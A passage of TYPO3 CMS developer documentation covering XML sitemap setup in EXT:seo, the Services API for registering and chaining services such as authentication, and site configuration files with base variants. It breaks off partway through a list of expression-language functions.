XML sitemaps are part of the "seo" system extension. If the extension is not available in your installation, require it as described here: Installation, EXT:seo Then include the static TypoScript template XML Sitemap (seo).

How to access your XML sitemap

You can access the sitemaps by visiting https://example.org/?type=1533906435. You will first see the sitemap index. By default, there is one sitemap in the index. This is the sitemap for pages.

How to setup routing for the XML sitemap

You can use the PageType decorator to map the page type to a fixed suffix. This allows you to expose the sitemap with a readable URL, for example https://example.org/sitemap.xml.

Additionally, you can map the parameter sitemap, so that the links to the different sitemap types (pages and additional ones, for example, from the news extension) are also mapped.

config/sites/<your_site>/config.yaml
routeEnhancers:
  PageTypeSuffix:
    type: PageType
    map:
      /: 0
      sitemap.xml: 1533906435
  Sitemap:
    type: Simple
    routePath: 'sitemap-type/{sitemap}'
    aspects:
      sitemap:
        type: StaticValueMapper
        map:
          pages: pages
          tx_news: tx_news
          my_other_sitemap: my_other_sitemap
Copied!

XmlSitemapDataProviders

The rendering of sitemaps is based on XmlSitemapDataProviders. EXT:seo ships with two XmlSitemapDataProviders.

For pages

The \TYPO3\CMS\Seo\XmlSitemap\PagesXmlSitemapDataProvider will generate a sitemap of pages based on the detected siteroot. You can configure whether you have additional conditions for selecting the pages. It is also possible to exclude certain doktypes. Additionally, you may exclude page subtrees from the sitemap (e.g internal pages). This can be configured using TypoScript (example below) or using the constants editor in the backend.

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_seo {
    config {
        xmlSitemap {
            sitemaps {
                pages {
                    config {
                        excludedDoktypes = 3, 4, 6, 7, 199, 254, 255, 137, 138
                        additionalWhere = AND ({#no_index} = 0 OR {#no_follow} = 0)
                        #rootPage = <optionally specify a different root page. (default: rootPageId from site configuration)>
                        excludePagesRecursive = <comma-separated list of page IDs>
                    }
                }
            }
        }
    }
}
Copied!

For records

If you have an extension installed and want a sitemap of those records, the \TYPO3\CMS\Seo\XmlSitemap\RecordsXmlSitemapDataProvider can be used. The following example shows how to add a sitemap for news records:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_seo {
    config {
        <sitemapType> {
            sitemaps {
                <unique key> {
                    provider = TYPO3\CMS\Seo\XmlSitemap\RecordsXmlSitemapDataProvider
                    config {
                        table = news_table
                        sortField = sorting
                        lastModifiedField = tstamp
                        changeFreqField = news_changefreq
                        priorityField = news_priority
                        additionalWhere = AND ({#no_index} = 0 OR {#no_follow} = 0)
                        pid = <page id('s) containing news records>
                        recursive = <number of subpage levels taken into account beyond the pid page. (default: 0)>
                        url {
                            pageId = <your detail page id>
                            fieldToParameterMap {
                                uid = tx_extension_pi1[news]
                            }
                            additionalGetParameters {
                                tx_extension_pi1.controller = News
                                tx_extension_pi1.action = detail
                            }
                        }
                    }
                }
            }
        }
    }
}
Copied!

You can add multiple sitemaps and they will be added to the sitemap index automatically. Use different types to have multiple, independent sitemaps:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
seo_googlenews < seo_sitemap
seo_googlenews.typeNum = 1571859552
seo_googlenews.10.sitemapType = googleNewsSitemap

plugin.tx_seo {
    config {
        xmlSitemap {
            sitemaps {
                news {
                    provider = GeorgRinger\News\Seo\NewsXmlSitemapDataProvider
                    config {
                        # ...
                    }
                }
            }
        }
        googleNewsSitemap {
            sitemaps {
                news {
                    provider = GeorgRinger\News\Seo\NewsXmlSitemapDataProvider
                    config {
                        googleNews = 1
                        # ...
                        template = GoogleNewsXmlSitemap.xml
                    }
                }
            }
        }
    }
}
Copied!

Change frequency and priority

Change frequencies define how often each page is approximately updated and hence how often it should be revisited (for example: News in an archive are "never" updated, while your home page might get "weekly" updates).

Priority allows you to define how important the page is compared to other pages on your site. The priority is stated in a value from 0 to 1. Your most important pages can get an higher priority as other pages. This value does not affect how important your pages are compared to pages of other websites. All pages and records get a priority of 0.5 by default.

The settings can be defined in the TypoScript configuration of an XML sitemap by mapping the properties to fields of the record by using the options changeFreqField and priorityField. changeFreqField needs to point to a field containing string values (see pages TCA definition of field sitemap_changefreq), priorityField needs to point to a field with a decimal value between 0 and 1.

Sitemap of records without sorting field

Sitemaps are paginated by default. To ensure that as few pages of the sitemap as possible are changed after the number of records is changed, the items in the sitemaps are ordered. By default, this is done using a sorting field. If you do not have such a field, make sure to configure this in your sitemap configuration and use a different field. An example you can use for sorting based on the uid field:

EXT:my_extension/Configuration/TypoScript/setup.typoscript
plugin.tx_seo {
    config {
        <sitemapType> {
            sitemaps {
                <unique key> {
                    config {
                        sortField = uid
                    }
                }
            }
        }
    }
}
Copied!

Create your own XmlSitemapDataProvider

If you need more logic in your sitemap, you can also write your own XmlSitemapProvider. You can do this by extending the \TYPO3\CMS\Seo\XmlSitemap\AbstractXmlSitemapDataProvider class. The main methods are getLastModified() and getItems().

The getLastModified() method is used in the sitemap index and has to return the date of the last modified item in the sitemap.

The getItems() method has to return an array with the items for the sitemap:

EXT:my_extension/Classes/XmlSitemap/MyXmlSitemapProvider
$this->items[] = [
    'loc' => 'https://example.org/page1.html',
    'lastMod' => '1536003609'
];
Copied!

The loc element is the URL of the page to be crawled by a search engine. The lastMod element contains the date of the last update of the specific item. This value is a UNIX timestamp. In addition, you can include changefreq and priority as keys in the array to give search engines a hint.

Use a customized sitemap XSL file

The XSL file used to create a layout for an XML sitemap can be configured at three levels:

  1. For all sitemaps:

    EXT:my_extension/Configuration/TypoScript/setup.typoscript
    plugin.tx_seo.config.xslFile = EXT:my_extension/Resources/Public/CSS/mySite.xsl
    Copied!
  2. For all sitemaps of a certain sitemapType:

    EXT:my_extension/Configuration/TypoScript/setup.typoscript
    plugin.tx_seo.config.<sitemapType>.sitemaps.xslFile = EXT:my_extension/Resources/Public/CSS/mySitemapType.xsl
    Copied!
  3. For a specific sitemap:

    EXT:my_extension/Configuration/TypoScript/setup.typoscript
    plugin.tx_seo.config.<sitemapType>.sitemaps.<sitemap>.config.xslFile = EXT:my_extension/Resources/Public/CSS/mySpecificSitemap.xsl
    Copied!

The value is inherited until it is overwritten.

If no value is specified at all, EXT:seo/Resources/Public/CSS/Sitemap.xsl is used as default.

Introduction

This document describes the services functionality included in the TYPO3 Core.

The whole Services API works as a registry. Services are registered with a number of parameters, and each service can easily be overridden by another one with improved features or more specific capabilities, for example. This can be achieved without having to change the original code of TYPO3 CMS or of an extension.

Services are PHP classes packaged inside an extension. The usual way to instantiate a class in TYPO3 CMS is:

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Frontend\ContentObject\ContentObjectRenderer;

$object = GeneralUtility::makeInstance(ContentObjectRenderer::class);
Copied!

Getting a service instance is achieved using a different API. The PHP class is not directly referenced. Instead a service is identified by its type, sub type and exclude service keys:

EXT:some_extension/Classes/SomeClass.php
// use TYPO3\CMS\Core\Utility\GeneralUtility;

$serviceObject = GeneralUtility::makeInstanceService(
   'my_service_type',
   'my_service_subtype',
   ['not_used_service_type1', 'not_used_service_type2']
);
Copied!

parameters for makeInstanceService:

  • string $serviceType: Type of service (service key)
  • string $serviceSubType (default ''): Sub type like file extensions or similar. Defined by the service.
  • array $excludeServiceKeys (default []): List of service keys which should be excluded in the search for a service. Array.

The same service can be provided by different extensions. The service with the highest priority and quality (more on that later) is chosen automatically for you.

Reasons for using the Services API

The AbstractService has been removed and it is planned to also deprecate the other methods of the Service API in the future. The Service API should only be used for frontend and backend user authentication.

Service precedence

Several services may be declared to do the same job. What will distinguish them is two intrinsic properties of services: priority and quality. Priority tells TYPO3 CMS which service should be called first. Normal priorities vary between 0 and 100, but can exceptionally be set to higher values (no maximum). When two services of equal priority are found, the system will use the service with the best quality.

The priority is used to define a call order for services. The default priority is 50. The service with the highest priority is called first. The priority of a service is defined by its developer, but may be reconfigured (see Configuration). It is thus very easy to add a new service that comes before or after an existing service, or to change the call order of already registered services.

The quality should be a measure of the worthiness of the job performed by the service. There may be several services who can perform the same task (e.g. extracting meta data from a file), but one may be able to do that much better than the other because it is able to use a third- party application. However if that third-party application is not available, neither will this service. In this case TYPO3 CMS can fall back on the lower quality service which will still be better than nothing. Quality varies between 0-100.

More considerations about priority and quality can be found in the Developer's Guide.

The "Installed Services" report of the System > Reports module provides an overview of all installed services and their priority and quality. It also shows whether a given service is available or not.

The Installed Services report showing details about registered services

Simple usage

The most basic use is when you want an object that handles a given service type:

if (is_object($serviceObject = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService('textLang'))) {
	$language = $serviceObject->guessLanguage($text);
}
Copied!

In this example a service of type "textLang" is requested. If such a service is indeed available an object will be returned. Then the guessLanguage() - which would be part of the "textLang" service type public API - is called.

There's no certainty that an object will be returned, for a number of reasons:

  • there might be no service of the requested type installed
  • the service deactivated itself during registration because it recognized it can't run on your platform
  • the service was deactivated by the system because of certain checks
  • during initialization the service checked that it can't run and deactivated itself

Note that when a service is requested, the instance created is stored in a global registry. If that service is requested again during the same code run, the stored instance will be returned instead of a new one. More details in Service API.

If several services are available, the one with the highest priority (or quality if priority are equals) will be used.

Use with subtypes

A service can also be requested for not just a type, but a subtype too:

// Find a service for a file type
if (is_object($serviceObject = \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService('metaExtract', $fileType))) {
        $serviceObj->setInputFile($absFile, $fileType);
        if ($serviceObj->process('', '', array('meta' => $meta)) > 0 && (is_array($svmeta = $serviceObj->getOutput()))) {
                $meta = $svmeta;
        }
}
Copied!

In this example a service type "metaExtract" is requested for a specific subtype corresponding to some file's type. With the returned instance, it then proceeds to retrieving whatever possible meta data from the file.

If several services are available for the same subtype, the one with the highest priority (or quality if priority are equals) will be used.

Calling a chain of services

It is also possible to use services in a "chain". This means using all the available services of a type instead of just one.

The method GeneralUtility::makeInstanceService() accepts a third parameter to exclude a number of services, using an array of service keys. This way you can walk through all available services of a type by passing the already used service keys. Services will be called in order of decreasing priority and quality.

The following example is an extract of the user authentication process:

EXT:some_extension/Classes/SomeClass.php
use TYPO3\CMS\Core\Utility\GeneralUtility;

// Use 'auth' service to find the user
// First found user will be used
$subType = 'getUser' . $this->loginType;
/** @var AuthenticationService $serviceObj */
foreach ($this->getAuthServices($subType, $loginData, $authInfo) as $serviceObj) {
    if ($row = $serviceObj->getUser()) {
        $tempuserArr[] = $row;
        $this->logger->debug('User found', [
            $this->userid_column => $row[$this->userid_column],
            $this->username_column => $row[$this->username_column],
        ]);
        // User found, just stop to search for more if not configured to go on
        if (empty($authConfiguration[$this->loginType . '_fetchAllUsers'])) {
            break;
        }
    }
}

protected function getAuthServices(string $subType, array $loginData, array $authInfo): \Traversable
{
   $serviceChain = [];
   while (is_object($serviceObj = GeneralUtility::makeInstanceService('auth', $subType, $serviceChain))) {
      $serviceChain[] = $serviceObj->getServiceKey();
      $serviceObj->initAuth($subType, $loginData, $authInfo, $this);
      yield $serviceObj;
   }
}
Copied!

As you see the while loop is exited when a service gives a result. More sophisticated mechanisms can be imagined. In this next example – also taken from the authentication process – the loop is exited only when a certain value is returned by the method called:

EXT:some_extension/Classes/SomeClass.php
foreach ($tempuserArr as $tempuser) {
   // Use 'auth' service to authenticate the user.
   // If one service returns FALSE then authentication fails.
   // A service may return 100 which means there's no reason to stop but the
   // user can't be authenticated by that service.
   $this->logger->debug('Auth user', $tempuser);
   $subType = 'authUser' . $this->loginType;

   foreach ($this->getAuthServices($subType, $loginData, $authInfo) as $serviceObj) {
      if (($ret = $serviceObj->authUser($tempuser)) > 0) {
         // If the service returns >=200 then no more checking is needed.
         // This is useful for IP checking without password.
         if ((int)$ret >= 200) {
            $authenticated = true;
            break;
         }
         if ((int)$ret >= 100) {
         } else {
            $authenticated = true;
         }
      } else {
         $authenticated = false;
         break;
      }
   }

   if ($authenticated) {
      // Leave foreach() because a user is authenticated
      break;
   }
}
Copied!

In the above example the loop will walk through all services of the given type except if one service returns false or a value larger than or equals to 200, in which case the chain is interrupted.

Override service registration

The priority and other values of the original service registration can be overridden in any extension's ext_localconf.php file. Example:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

defined('TYPO3') or die();

// Raise priority of service 'tx_example_sv1' to 110
$GLOBALS['TYPO3_CONF_VARS']['T3_SERVICES']['auth']['tx_example_sv1']['priority'] = 110;

// Disable service 'tx_example_sv1'
$GLOBALS['TYPO3_CONF_VARS']['T3_SERVICES']['auth']['tx_example_sv1']['enable'] = false;
Copied!

The general syntax is:

$GLOBALS['TYPO3_CONF_VARS']['T3_SERVICES'][service type][service key][option key] = value;
Copied!

Registration options are described in more details in Implementing a service. Any of these options may be overridden using the above syntax. However caution should be used depending on the options. className should not be overridden in such a way. Instead a new service should be implemented using an alternate class.

Service configuration

Some services will not need additional configuration. Others may have some options that can be set in the Extension Manager. Yet others may be configured via local configuration files (ext_localconf.php ). Example:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['tx_example_sv1']['foo'] = 'bar';
Copied!

The general syntax is:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF'][service type][service key][config key] = value;
Copied!

A configuration can also be set for all services belonging to the same service type by using the keyword "default" instead of a service key:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF'][service type]['default'][config key] = value;
Copied!

The available configuration settings should be described in the service's documentation. See Service API to see how you can read these values properly inside your service.

Service type configuration

It may also be necessary to provide configuration options for the code that uses the services (and not for usage inside the services themselves). It is recommended to make use of the following syntax:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF'][service type]['setup'][config key] = value;
Copied!

Example:

$GLOBALS['TYPO3_CONF_VARS']['SVCONF']['auth']['setup']['FE_alwaysFetchUser'] = true;
Copied!

This configuration can be placed in a local configuration file (ext_localconf.php ). There's no API for retrieving these values. It's just a best practice recommendation.

Introducing a new service type

Every service belongs to a given service type. A service type is represented by a key, just like an extension key. In the examples above there were mentions of the "auth" and "metaExtract" service types.

Each service type will implement its own API corresponding to the task it is designed to handle. For example the "auth" service type requires the two methods getUser() and authUser(). If you introduce a new service type you should think well about its API before starting development. Ideally you should discuss with other developers. Services are meant to be reusable. A badly designed service that is used only once is a failed service.

You should plan to provide an interface and/or base class for your new service type. It is then easier to develop services based on this type as you can start by extending the base class. You should also provide a documentation, that describes the API. It should be clear to other developers what each method of the API is supposed to do.

Implementing a service

There are no tools to get you started coding a new service. However there is not much that needs to be done.

A service should be packaged into an extension. The chapter Files and locations explains the minimal requirements for an extension. The class file for your service should be located in the Classes/Service directory.

Finally the service registration is placed in the extension's ext_localconf.php file.

Service registration

Registering a service is done inside the ext_localconf.php file. Let's look at what is inside.

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use Foo\Babelfish\Service\Translator;
use TYPO3\CMS\Core\Utility\ExtensionManagementUtility;

defined('TYPO3') or die();

ExtensionManagementUtility::addService(
    // Extension Key
    'babelfish',
    // Service type
    'translator',
    // Service key
    'tx_babelfish_translator',
    [
        'title' => 'Babelfish',
        'description' => 'Guess alien languages by using a babelfish',

        'subtype' => '',

        'available' => true,
        'priority' => 60,
        'quality' => 80,

        'os' => '',
        'exec' => '',

        'className' => Translator::class,
    ],
);
Copied!

A service is registered with TYPO3 CMS by calling \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addService(). This method takes the following parameters:

$extKey
(string) The key of the extension containing the service.
$serviceType
(string) Service type of the service. Choose something explicit.
$serviceKey
(string) Unique key for the service. Choose something explicit.
$info

(array) Additional information about the service:

title
(string) The title of the service.
description

(string) The description. If it makes sense it should contain information about

  • the quality of the service (if it's better or not than normal)
  • the OS dependency (either WIN or UNIX)
  • the dependency on external programs (perl, pdftotext, etc.)
subtype

(string / comma-separated list) The subtype is not predefined. Its usage is defined by the API of the service type.

Example:

'subtype' => 'jpg,tif'
Copied!
available

(boolean) Defines if the service is available or not. This means that the service will be ignored if available is set to false.

It makes no sense to set this to false, but it can be used to make a quick check if the service works on the system it is installed on:

Examples:

// Is the curl extension available?
'available' => function_exists('curl_exec'),
Copied!

Only quick checks are appropriate here. More extensive checks should be performed when the service is requested and the service class is initialized.

Defaults to true.

priority

(integer) The priority of the service. A service of higher priority will be selected first. Can be reconfigured.

Use a value from 0 to 100. Higher values are reserved for reconfiguration in local configuration. The default value is 50 which means that the service is well implemented and gives normal (good) results.

Imagine that you have two solutions, a pure PHP one and another that depends on an external program. The PHP solution should have a priority of 50 and the other solution a lower one. PHP-only solutions should have a higher priority since they are more convenient in terms of server setup. But if the external solution gives better results you should set both to 50 and set the quality value to a higher value.

quality

(integer/float) Among services with the same priority, the service with the highest quality but the same priority will be preferred.

The use of the quality range is defined by the service type. Integer or floats can be used. The default range is 0-100 and the default value for a normal (good) quality service is 50.

The value of the quality should represent the capacities of the services. Consider a service type that implements the detection of a language used in a text. Let's say that one service can detect 67 languages and another one only 25. These values could be used directly as quality values.

os

(string) Defines which operating system is needed to run this service.

Examples:

// runs only on UNIX
'os' => 'UNIX',

// runs only on Windows
'os' => 'WIN',

// no special dependency
'os' => '',
Copied!
exec

(string / comma-separated list) List of external programs which are needed to run the service. Absolute paths are allowed but not recommended, because the programs are searched for automatically by \TYPO3\CMS\Core\Utility\CommandUtility. Leave empty if no external programs are needed.

Examples:

'exec' => 'perl',

'exec' => 'pdftotext',
Copied!
className

(string) Name of the PHP class implementing the service.

Example:

'className' => \Foo\Babelfish\Service\Translator::class
Copied!

PHP class

The PHP class corresponding to the registered service should provide the methods mentioned in Service Implementation.

It should then implement the methods that you defined for your service's public API, plus whatever method is relevant from the base TYPO3 CMS service API, which is described in details in the next chapter.

Service API

All service classes should implement the methods mentioned below.

Authentication services should inherit from \TYPO3\CMS\Core\Authentication\AbstractAuthenticationService .

Service Implementation

These methods are related to the general functioning of services.

init

This method is expected to perform any necessary initialization for the service. Its return value is critical. It should return false if the service is not available for whatever reason. Otherwise it should return true.

Note that's it's not necessary to check for OS compatibility, as this will already have been done by \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::addService() when the service is registered.

Executables should be checked, though, if any.

The init() method is automatically called by \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService() when requesting a service.

reset

When a service is requested by a call to \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService(), the generated instance of the service class is kept in a registry ( $GLOBALS['T3_VAR']['makeInstanceService']). When the same service is requested again during the same code run, a new instance is not created. Instead the stored instance is returned. At that point the reset() method is called.

This method can be used to clean up data that may have been set during the previous use of that instance.

__destruct
Clean up method. The base implementation calls on unlinkTempFiles() to delete all temporary files.

The little schema below summarizes the process of getting a service instance and when each of init() and reset() are called.

The life cycle of a service instance

The life cycle of a service instance

Getter Methods for Service Information

Most of the below methods are quite obvious, except for getServiceOption().

getServiceInfo
Returns the array containing the service's properties
getServiceKey
Returns the service's key
getServiceTitle
Returns the service's title
getServiceOption

This method is used to retrieve the value of a service option, as defined in the $GLOBALS['TYPO3_CONF_VARS']['SVCONF'] array. It will take into account possible default values as described in the Service configuration chapter.

This method requires more explanation. Imagine your service has an option called "ignoreBozo". To retrieve it in a proper way, you should not access $GLOBALS['TYPO3_CONF_VARS']['SVCONF'] directly, but use getServiceOption() instead. In its simplest form, it will look like this (inside your service's code):

EXT:some_extension/Classes/Services/SomeService.php
$ignoreBozo = $this->getServiceOption('ignoreBozo');
Copied!

This will retrieve the value of the "ignoreBozo" option for your specific service, if defined. If not, it will try to find a value in the default configuration. Additional call parameters can be added:

  • the second parameter is a default value to be used if no value was found at all (including in the default configuration)
  • the third parameter can be used to temporarily switch off the usage of the default configuration.

This allows for a lot of flexibility.

Error Handling

This set of methods handles the error reporting and manages the error queue. The error queue works as a stack. New errors are added on top of the previous ones. When an error is read from the queue it is the last one in that is taken (last in, first out). An error is actually a short array comprised of an error number and an error message.

The error queue exists only at run-time. It is not stored into session or any other form of persistence.

errorPush
Puts a new error on top of the queue stack.
errorPull
Removes the latest (topmost) error in the queue stack.
getLastError
Returns the error number from the latest error in the queue, or true if queue is empty.
getLastErrorMsg
Same as above, but returns the error message.
getErrorMsgArray
Returns an array with the error messages of all errors in the queue.
getLastErrorArray
Returns the latest error as an array (number and message).
resetErrors
Empties the error queue.

General Service Functions

checkExec

This method checks the availability of one or more executables on the server. A comma-separated list of executable names is provided as a parameter. The method returns true if all executables are available.

The method relies on \TYPO3\CMS\Core\Utility\CommandUtility::checkCommand() to find the executables, so it will search through the paths defined/allowed by the TYPO3 CMS configuration.

deactivateService
Internal method to temporarily deactivate a service at run-time, if it suddenly fails for some reason.

I/O Tools

A lot of early services were designed to handle files, like those used by the DAM. Hence the base service class provides a number of methods to simplify the service developer's life when it comes to read and write files. In particular it provides an easy way of creating and cleaning up temporary files.

checkInputFile
Checks if a file exists and is readable within the paths allowed by the TYPO3 CMS configuration.
readFile
Reads the content of a file and returns it as a string. Calls on checkInputFile() first.
writeFile
Writes a string to a file, if writable and within allowed paths. If no file name is provided, the data is written to a temporary file, as created by tempFile() below. The file path is returned.
tempFile
Creates a temporary file and keeps its name in an internal registry of temp files.
registerTempFile
Adds a given file name to the registry of temporary files.
unlinkTempFiles
Deletes all the registered temporary files.

I/O Input and I/O Output

These methods provide a standard way of defining or getting the content that needs to be processed – if this is the kind of operation that the service provides – and the processed output after that.

setInput
Sets the content (and optionally the type of content) to be processed.
setInputFile
Sets the input file from which to get the content (and optionally the type).
getInput
Gets the input to process. If the content is currently empty, tries to read it from the input file.
getInputFile
Gets the name of the input file, after putting it through checkInputFile() . If no file is defined, but some content is, the method writes the content to a temporary file and returns the path to that file.
setOutputFile
Sets the output file name.
getOutput
Gets the output content. If an output file name is defined, the content is gotten from that file.
getOutputFile
Gets the name of the output file. If such file is not defined, a temporary file is created with the output content and that file's path is returned.

Services API

This section describes the methods of the TYPO3 Core that are related to the use of services.

\TYPO3\CMS\Core\Utility\ExtensionManagementUtility

This extension management class contains three methods related to services:

addService
This method is used to register services with TYPO3 CMS. It checks for availability of a service with regards to OS dependency (if any) and fills the $GLOBALS['T3_SERVICES'] array, where information about all registered services is kept.
findService

This method is used to find the appropriate service given a type and a subtype. It handles priority and quality rankings. It also checks for availability based on executables dependencies, if any.

This method is normally called by \TYPO3\CMS\Core\Utility\GeneralUtility::makeInstanceService(), so you shouldn't have to worry about calling it directly, but it can be useful to check if there's at least one service available.

deactivateService
Marks a service as unavailable. It is called internally by addService() and findService() and should probably not be called directly unless you're sure of what you're doing.

\TYPO3\CMS\Core\Utility\GeneralUtility

This class contains a single method related to services, but the most useful one, used to get an instance of a service.

makeInstanceService

This method is used to get an instance of a service class of a given type and subtype. It calls on \TYPO3\CMS\Core\Utility\ExtensionManagementUtility::findService() to find the best possible service (in terms of priority and quality).

As described above it keeps a registry of all instantiated service classes and uses existing instances whenever possible, in effect turning service classes into singletons.

Site handling

The site handling defines entry points to the frontend sites of a TYPO3 instance, their languages and routing details. This chapter walks through the features of the module and goes into API and programming details.

Site handling basics

TYPO3 site handling and configuration is the starting point for creating new websites. The corresponding modules are found in the TYPO3 backend in the section Site Management.

A site configuration consists of the following parts:

  • Base URL configurations: the domain(s) to access my site.
  • Language configuration: the languages of my site.
  • Error handling: error behavior of my site (for example, configuration of custom 404 pages).
  • Static routes: static routes of my site (for example, robots.txt on a per site base).
  • Routing configuration: How shall routing behave for this site.

When creating a new page on root level via the TYPO3 backend, a very basic site configuration is generated on the fly. It prevents immediate errors due to missing configuration and can also serve as a starting point for all further actions.

Most parts of the site configuration can be edited via the graphical interface in the backend module Sites.

The Sites module in the TYPO3 backend.

Site configuration storage

When creating a new site configuration, a folder is created in the file system, located at <project-root>/config/sites/<identifier>/. The site configuration is stored in a file called config.yaml.

The configuration file

The following part explains the configuration file and options:

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
rootPageId: 12
base: 'https://example.org/'
websiteTitle: Example
languages:
  - title: English
    enabled: true
    locale: en_US.UTF-8
    base: /
    websiteTitle: ''
    navigationTitle: English
    flag: gb
    languageId: 0
  - title: 'danish'
    enabled: true
    locale: da_DK.UTF-8
    base: /da/
    websiteTitle: ''
    navigationTitle: Dansk
    fallbackType: strict
    fallbacks: ''
    flag: dk
    languageId: 1
  - title: Deutsch
    enabled: true
    locale: de_DE.UTF-8
    base: 'https://example.net/'
    websiteTitle: ''
    navigationTitle: Deutsch
    fallbackType: fallback
    fallbacks: '1,0'
    flag: de
    languageId: 2
errorHandling:
  - errorCode: '404'
    errorHandler: Page
    errorContentSource: 't3://page?uid=8'
  - errorCode: '403'
    errorHandler: Fluid
    errorFluidTemplate: 'EXT:my_extension/Resources/Private/Templates/ErrorPages/403.html'
    errorFluidTemplatesRootPath: 'EXT:my_extension/Resources/Private/Templates/ErrorPages'
    errorFluidLayoutsRootPath: 'EXT:my_extension/Resources/Private/Layouts/ErrorPages'
    errorFluidPartialsRootPath: 'EXT:my_extension/Resources/Private/Partials/ErrorPages'
  - errorCode: '0'
    errorHandler: PHP
    errorPhpClassFQCN: MyVendor\ExtensionName\ErrorHandlers\GenericErrorhandler
routes:
  route: robots.txt
  type: staticText
  content: |
    Sitemap: https://example.org/sitemap.xml
    User-agent: *
    Allow: /
    Disallow: /forbidden/
Copied!

Most settings can also be edited via the Site Management > Sites backend module, except for custom settings and additional routing configuration.

Site identifier

The site identifier is the name of the folder in <project-root>/config/sites/ that contains your configuration file(s). When choosing an identifier, be sure to use ASCII, but you may also use -, _ and . for convenience.

Root page ID

Root pages are identified by one of these two properties:

  • They are direct descendants of PID 0 (the root root page of TYPO3).
  • They have the Use as Root Page property in pages set to true.

websiteTitle

The title of the website which is used in <title> tag in the frontend.

base

The base is the base domain on which a website runs. It accepts either a fully qualified URL or a relative segment "/" to react to any domain name. It is possible to set a site base prefix to /site1, /site2 or even example.com instead of entering a full URI.

This allows a site base as example.com with http and https protocols to be detected, although it is recommended to redirect HTTP to HTTPS, either at the webserver level, via a .htaccess rewrite rule or by adding a redirect in TYPO3.

Please note: when the domain is an Internationalized Domain Name (IDN) containing non-Latin characters, the base must be provided in an ASCII-Compatible Encoded (ACE) format (also known as "Punycode"). You can use a converter to get the ACE format of the domain name.

languages

Available languages for a site can be specified here. These settings determine both the availability of the language and the behavior. For a detailed description see Language configuration.

errorHandling

The error handling section describes how to handle error status codes for this website. It allows you to configure custom redirects, rendering templates, and more. For a detailed description, see error handling.

routes

The routes section is used to add static routes to a site, for example a robots.txt or humans.txt file that depends on the current site (an does not contain the same content for the whole TYPO3 installation). Read more at static routes.

routeEnhancers

While page routing works out of the box without any further settings, route enhancers allow configuring routing for TYPO3 extensions. Read more at Advanced routing configuration (for extensions).

Creating a new site configuration

A new site configuration is automatically created for each new page on the rootlevel (pid = 0) and each page with the "is_siteroot" flag set.

To customize the automatically created site configuration, go to the Site Management > Sites module.

Autocreated site configuration

You can edit a site by clicking on the Edit icon (the pencil). If for some reason no site configuration was created, there will be a button to create one:

The site configuration form looks like this:

A new site creation form.

It is recommended to change the following fields:

Site Identifier

The site identifier is the name of the folder within <project-root>/config/sites/ that will hold your configuration file(s). When choosing an identifier, make sure to stick to ASCII, but for convenience you may also use -, _ and ..

Examples: main-site and landing-page.

Entry Point

Be as specific as you can for your sites without losing flexibility. So, if you have a choice between using https://example.org, example.org or /, then choose https://example.org.

This makes the resolving of pages more reliable by minimizing the risk of conflicts with other sites.

If you need to use another domain in development, for example https://example.ddev.site, it is recommended to use base variants.

The next tab, Languages, lets you configure the default language settings for your site. You can also add additional languages for multilingual sites here.

These settings determine the default behavior - the entry point of the site language in frontend as well as locale settings.

You can choose

  1. to create a new language defining all values by yourself (Create new language)
  2. from a list of default language settings (Choose a preset ...)
  3. to use an existing language, if it is already used in a different site (Use language from existing site ...)

Although 3. is always recommended when working with multi-site setups to keep language IDs between sites in sync, 2. is a quick start to set up a new site.

Set default language settings

Check and correct all other settings as they will be automatically used for features like the locale or displaying language flags in the backend.

That is all that is required for a new site.

Learn more about adding languages, error handling and routing in the corresponding chapters.

Base variants

In site handling, "base variants" represent different bases for a website depending on a specified condition. For example, a "live" base URL might be https://example.org/, but on a local machine it is https://example.localhost/ as a domain - that is when variants are used.

Base variants exist for languages, too. Currently, these can only be defined through the respective *.yaml file, there is no backend user interface available yet.

Variants consist of two parts:

  • a base to use for this variant
  • a condition that decides when this variant shall be active

Conditions are based on Symfony expression language and allow flexible conditions, for example:

applicationContext == "Development"
Copied!

would define a base variant to use in "Development" context.

A configured base variant for development context.

The following variables and functions are available in addition to the default Symfony functionality:

Example

config/sites/<some_site>/config.yaml | typo3conf/sites/<some_site>/config.yaml
rootPageId: 1
base: 'https://example.org/'
baseVariants:
  - base: 'https://example.localhost/'
    condition: 'applicationContext == "Development"'
  - base: 'https://staging.example.org/'
    condition: 'applicationContext == "Production/Sydney"'
  - base: 'https://testing.example.org/'
    condition: 'applicationContext == "Testing/Paris"'
  - base: '%env("TYPO3_BASE")%'
    condition: 'getenv("TYPO3_BASE")'
languages:
  - title: English
    enabled: true
    locale: en_US.UTF-8
    base: /
    websiteTitle: ''
    navigationTitle: English
    flag: gb
    languageId: 0
  - title: Deutsch
    enabled: true
    locale: de_DE.UTF-8
    base: 'https://example.net/'
    baseVariants:
      - base: 'https://de.example.localhost/'
        condition: 'applicationContext == "Development"'
      - base: 'https://staging.example.net/'
        condition: 'applicationContext == "Production/Sydney"'
      - base: 'https://testing.example.net/'
        condition: 'applicationContext == "Testing/Paris"'
    websiteTitle: ''
    navigationTitle: Deutsch
    fallbackType: strict
    flag: de
    languageId: 1
Copied!

Properties

typo3.version
type

string

Example

13.4.0

The current TYPO3 version.

typo3.branch
type

string

Example

13.4

The current TYPO3 branch.

typo3.devIpMask
type

string

Example

203.0.113.*

The configured devIpMask taken from $GLOBALS['TYPO3_CONF_VARS']['SYS']['devIPmask'].

applicationContext
type

string

Example

Development

The current application context.

Functions

All functions from EXT:core/Classes/ExpressionLanguage/FunctionsProvider/DefaultFunctionsProvider.php (GitHub) are available:

ip
type

string

Example

